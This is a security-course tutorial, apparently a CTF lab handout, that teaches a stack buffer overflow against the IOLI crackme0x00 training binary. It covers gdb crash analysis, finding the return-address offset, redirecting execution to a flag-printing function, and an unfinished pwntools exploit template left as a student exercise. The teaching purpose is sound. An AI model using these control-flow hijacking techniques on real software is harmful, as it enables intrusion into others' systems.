Tut03: Writing Your First Exploit
In this tutorial, you will learn, for the first time, how to write a control-flow hijacking attack that exploits a buffer overflow vulnerability.
Step 1: Understanding crashing state
There are a few ways to check the status of the last segmentation fault:
Note. /tmp/input
should be your secret file under /tmp!
-
running gdb
$ echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > /tmp/[secret]/input $ gdb ./crackme0x00 > run </tmp/[secret]/input Starting program: ./crackme0x00 </tmp/[secret]/input IOLI Crackme Level 0x00 Password: Invalid Password! Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()
-
checking logging messages (if you are working on your local machine)
$ dmesg | tail -1 [19513751.485863] crackme0x00[20200]: segfault at 41414141 ip 000000000804873c sp 00000000ffffd668 error 4 in crackme0x00[8048000+1000] * NOTE: We disable dmesg for the class. You will be able to run dmesg from your local environment.
-
checking logging message (if you are working on our server)
Only when you are working under
/tmp/
, our server stores dmesg-like logging information for you whenever a lab challenge crashes. For example, you can find a logging output, namedcore_info
, under your/tmp/[secret]
directory if you crash our tutorial binary,crackme0x00
:$ mkdir /tmp/[secret]/ $ cd /tmp/[secret]/ $ cat /tmp/[secret]/input | /home/lab03/tut03-stackovfl/crackme0x00 ... $ ls core_info $ cat core_info [New LWP 18] Core was generated by `/home/lab03/tut03-stackovfl/crackme0x00'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x41414141 in ?? () eax 0x0 0 ecx 0x804b160 134525280 edx 0xf7fbe890 -134485872 ebx 0x0 0 esp 0xffffd5e8 0xffffd5e8 ebp 0x41414141 0x41414141 esi 0xf7fbd000 -134492160 edi 0x0 0 eip 0x41414141 0x41414141 eflags 0x10292 [ AF SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99
Let's figure out which input tainted the instruction pointer.
$ echo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ > /tmp/[secret]/input
$ ./crackme0x00 < /tmp/[secret]/input
$ dmesg | tail -1
[19514227.904759] crackme0x00[21172]: segfault at 46464646 ip 0000000046464646 sp 00000000ffffd688 error 14 in libc-2.27.so[f7de5000+1d5000]
What's the current instruction pointer? You might need this help:
$ man ascii
You can also figure out the exact shape of the stack frame by looking at the instructions as well.
$ objdump -M intel-mnemonic -d crackme0x00
...
080486b3 <start>:
80486b3: 55 push ebp
80486b4: 89 e5 mov ebp,esp
80486b6: 83 ec 10 sub esp,0x10
...
80486d3: 8d 45 f0 lea eax,[ebp-0x10]
80486d6: 50 push eax
80486d7: 68 11 88 04 08 push 0x8048811
80486dc: e8 9f fd ff ff call 8048480 <scanf@plt>
...
|<- -0x10 ->|+--- ebp
top v
[ [buf] ][fp][ra]
|<---- 0x10+0x10 ----->|
0x10 + 4 = 20
, which is exactly the length of AAAABBBBCCCCDDDDEEEE
the following FFFF
will cover the ra
.
Step 0: Triggering a buffer overflow
Do you remember the crackme binaries (and its password)?
# login to the CTF server
# ** check Canvas for login information! **
[host] $ ssh lab03@<ctf-server-address>
$ cd tut03-stackovfl
$ ./crackme0x00
IOLI Crackme Level 0x00
Password:
If you disassemble the binary (it's good time to fire Ghidra!), you may see these code snippet:
$ objdump -M intel-mnemonic -d crackme0x00
...
80486d3: 8d 45 f0 lea eax,[ebp-0x10]
80486d6: 50 push eax
80486d7: 68 11 88 04 08 push 0x8048811
80486dc: e8 9f fd ff ff call 8048480 <scanf@plt>
...
What's the value of 0x8048811?
Yes, %s
, which means the scanf()
function
gets a string as an argument on -0x10(%ebp)
location.
What happens if you inject a long string? Like below.
$ cd /tmp/[secret]/
$ ln -s ~/tut03-stackovfl/crackme0x00
$ echo AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ | ./crackme0x00
IOLI Crackme Level 0x00
Password: Invalid Password!
Segmentation fault (core dumped)
If you check the logging message (i.e., core_info), you will be able to observe which registers were affected by your input. Here, EBP is overwritten by EEEE (0x45454545), and the return address is overwritten by FFFF (0x46464646), as specified by the EIP register.
$ cat core_info
[New LWP 92]
Core was generated by `./crackme0x00'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0 0x46464646 in ?? ()
eax 0x0 0
ecx 0x804b160 134525280
edx 0xf7fbe890 -134485872
ebx 0x0 0
esp 0xffffd698 0xffffd698
ebp 0x45454545 0x45454545
esi 0xf7fbd000 -134492160
edi 0x0 0
eip 0x46464646 0x46464646
eflags 0x10292 [ AF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Step 2: Hijacking the control flow
In this tutorial, we are going to hijack the control flow of ./crackme0x00
by overwriting the instruction pointer. As a first step, let's make it print
out Password OK :)
without putting the correct password!
80486ed: e8 2e fd ff ff call 8048420 <strcmp@plt>
80486f2: 83 c4 08 add esp,0x8
80486f5: 85 c0 test eax,eax
80486f7: 75 31 jne 804872a <start+0x77>
->80486f9: 68 3e 88 04 08 push 0x804883e
80486fe: e8 6d fd ff ff call 8048470 <puts@plt>
...
804872c: 68 92 88 04 08 push 0x8048892
8048731: e8 3a fd ff ff call 8048470 <puts@plt>
8048736: 83 c4 10 add esp,0x10
We are going to jump to 0x80486f9
such that it prints out Password OK :)
.
Which characters in input should be changed to 0x80486f9
? Let me remind you
that x86 is a little-endian machine.
$ hexedit /tmp/[secret]/input
C-x
will save your modification.
$ cat /tmp/[secret]/input | ./crackme0x00
IOLI Crackme Level 0x00
Password: Invalid Password!
Password OK :)
Segmentation fault
Step 3: Using Python template for exploit
Today's task is to modify a python template for exploitation. Please
edit the provided python script (exploit.py)
to hijack the control
flow of crackme0x00
! Most importantly, please hijack the control flow
to print out your flag in this unreachable code of the binary.
// Your input should be "250381" and "no way you can reach!" at the
// same time! to get the flag.
8048706: 68 4d 88 04 08 push 0x804884d
804870b: 8d 45 f0 lea eax,[ebp-0x10]
804870e: 50 push eax
804870f: e8 0c fd ff ff call 8048420 <strcmp@plt>
8048714: 83 c4 08 add esp,0x8
8048717: 85 c0 test eax,eax
8048719: 75 1c jne 8048737 <start+0x84>
->804871b: 68 63 88 04 08 push 0x8048863
8048720: e8 d1 fe ff ff call 80485f6 <print_key>
In this template, we will start utilizing pwntools, which provides a set of libraries and tools to help writing exploits. Although we will cover the detail of pwntool in the next tutorial, you can have a glimpse of how it looks.
#!/usr/bin/env python2
import os
import sys
# import a set of variables/functions from pwntools into own namespace
# for easy accesses
from pwn import *
if __name__ == '__main__':
# p32/64 for 'packing' 32 or 64 bit
# so given an integer, it returns a packed (i.e., encoded) bytestring
assert p32(0x12345678) == b'\x00\x00\x00\x00' # Q1
assert p64(0x12345678) == b'\x00\x00\x00\x00\x00\x00\x00\x00' # Q2
payload = "Q3. your input here"
# launch a process (with no argument)
p = process(["./crackme0x00"])
# send an input payload to the process
p.send(payload + "\n")
# make it interactive, meaning that we can interact with
# the process's input/output (via pseudo terminal)
p.interactive()
To make this exploit working, you have to modify Q1-3 in the template.
If you'd like to practice more, can you make the exploit to gracefully exit the program after hijacking its control multiple times?
[Task] Modify the given template (exploit.py) to hijack the control flow, and print out the key.
Debugging tips and exec-wrapper
Let's discuss how we can utilize set exec-wrapper
feature in gdb to match the behaviors
of the process outside the debugger. When exec-wrapper
is set,
the specified wrapper is used to launch programs for debugging.
GDB starts your program with a shell command of the form exec wrapper program.
You can use any program that eventually calls execve with its arguments as a wrapper.
For example, you can use env to pass an environment variable to the debugged program, without setting the variable in your shell’s environment:
(gdb) set exec-wrapper env 'LD_PRELOAD=libtest.so'
(gdb) run
For further reading about the wrapper, please refer to here.
Tip1: clear env variables
In order to get a predictable stack in a system that disabled ASLR, set exec-wrapper env -i
can be set so that the program is started with an empty environment,
e.g., you can get a core dump with an empty environment while debugging.
$ mkdir /tmp/[redacted]/
$ cd /tmp/[redacted]/
$ gdb-pwndbg ~/tut03-stackovfl/crackme0x00
pwndbg> set exec-wrapper env -i
pwndbg> r
Starting program: /home/lab03/tut03-stackovfl/crackme0x00
IOLI Crackme Level 0x00
Password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Invalid Password!
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
pwndbg> gcore
Saved corefile core.545
Note that the set exec-wrapper env -i
is a default
feature on the lab server. If you do not
want to use this feature, please disable it before debugging, e.g.,
$ export SHELLCODE="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
$ gdb-pwndbg ~/jmp-to-env/target
pwndbg> unset exec-wrapper
pwndbg> r BBBB
Tip2: make stack addresses consistent
The reason why the stack addresses in gdb can be different from the raw target
is that
(1) the env variables inside and outside gdb are different due to the fact
that gdb creates two new env variables called LINES
and COLUMNS
,
(2) the special shell variable _
contains an executable name or argument of
the previous command, and
(3) gdb always uses absolute paths, and it may be different from the path in
your command.
Hence, to make stack addresses consistent, we need to (1) use absolute path when executing in and outside gdb, e.g.,
$ env -u _ /home/lab03/jmp-to-env/target [input]
(2) remove extra env variables
pwndbg> set exec-wrapper env -u LINES -u COLUMNS -u _
by setting the exec-wrapper above, we can remove the three extra env variables while debugging so that match the environment outside.